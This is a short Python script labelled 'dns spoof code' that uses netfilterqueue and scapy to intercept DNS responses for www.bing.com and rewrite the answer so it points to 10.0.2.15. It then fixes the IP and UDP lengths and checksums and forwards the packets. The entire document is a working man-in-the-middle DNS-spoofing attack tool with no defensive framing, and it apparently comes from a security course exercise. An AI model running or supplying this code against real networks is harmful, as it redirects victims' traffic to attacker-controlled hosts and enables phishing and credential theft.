dns spoof code

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        scapy_packet[scapy.DNSQR].qname
        qname = scapy_packet[scapy.DNSQR].qname
        if "www.bing.com" in qname:
            print("[+] Spoofing target")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

        del scapy_packet[scapy.IP].len
        del scapy_packet[scapy.IP].chksum
        del scapy_packet[scapy.UDP].chksum
        del scapy_packet[scapy.UDP].len

        packet.set_payload(str(scapy_packet))

    packet.accept()

quene = netfilterqueue.NetfilterQueue()
quene.bind(0, process_packet)
quene.run()